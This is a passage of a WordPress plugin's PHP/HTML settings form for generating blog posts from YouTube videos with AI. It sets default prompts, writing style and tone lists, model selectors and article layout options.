'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number of Images To Add To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[topic_images][]" value="" placeholder="Number of images" class="cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add An Image To Each Heading Of The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="img_all_headings" name="aiomatic_youtube_list[img_all_headings][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the location of the heading images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Heading Image Location:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location" name="aiomatic_youtube_list[heading_img_location][]" class="cr_width_full"> <option value="top" selected><?php echo esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="heading" selected><?php echo esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bottom"><?php echo esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer');?></option> <option value="random"><?php echo esc_html__("Random (Top/Bottom)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add the source YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add The YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos" name="aiomatic_youtube_list[topic_videos][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[title_outro][]" value="{In Conclusion|To Conclude|In Summary|To Wrap It Up|Key Takeaways|Future Outlook|Closing Remarks|The Conclusion|Final Thoughts|In Retrospect|The Way Forward|Wrapping Up|Concluding Remarks|Insights and Conclusions}" placeholder="Optional" class="cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Table Of Contents:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc" name="aiomatic_youtube_list[enable_toc][]"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Table Of Contents Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="aiomatic_youtube_list[title_toc][]" value="Table of Contents" placeholder="Table of Contents" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article Q&A Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa" name="aiomatic_youtube_list[enable_qa][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[title_qa][]" value="Q&A" placeholder="Q&A" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language" name="aiomatic_youtube_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="English"/> <datalist id="languages"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style" name="aiomatic_youtube_list[writing_style][]" type="text" placeholder="Created content writing style" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone" name="aiomatic_youtube_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">Generate a title for a blog post discussing the topics covered in the YouTube video titled: "%%video_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model" name="aiomatic_youtube_list[topic_title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">Write an introduction for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model" name="aiomatic_youtube_list[topic_intro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">Write %%sections_count%% consecutive headings that highlight specific aspects, provide detailed insights and specific recommendations for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Don't add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else. Extract ideas from the following video transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model" name="aiomatic_youtube_list[topic_sections_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%video_title%%, %%article_so_far%%, %%last_section_content%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="aiomatic_youtube_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">Write the content of a post section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%video_title%%". Don't repeat the heading in the created content. Don't add an intro or outro. Be creative and unique. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Extract content from the following video transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model" name="aiomatic_youtube_list[topic_content_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-1" name="aiomatic_youtube_list[single_content_call][]" onclick="hideTOC(-1);"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">Write a Q&A for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model" name="aiomatic_youtube_list[topic_qa_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">Write an outro for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model" name="aiomatic_youtube_list[topic_outro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">Write a short excerpt for a blog post which talks about the topics discussed in the YouTube video with the following title: "%%video_title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. The YouTube video has the following transcript: "%%video_captions%%"</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model" name="aiomatic_youtube_list[topic_excerpt_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[strip_by_regex_prompts][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on" name="aiomatic_youtube_list[run_regex_on][]" type="text" list="run_regex_on_list" class="coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_youtube_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 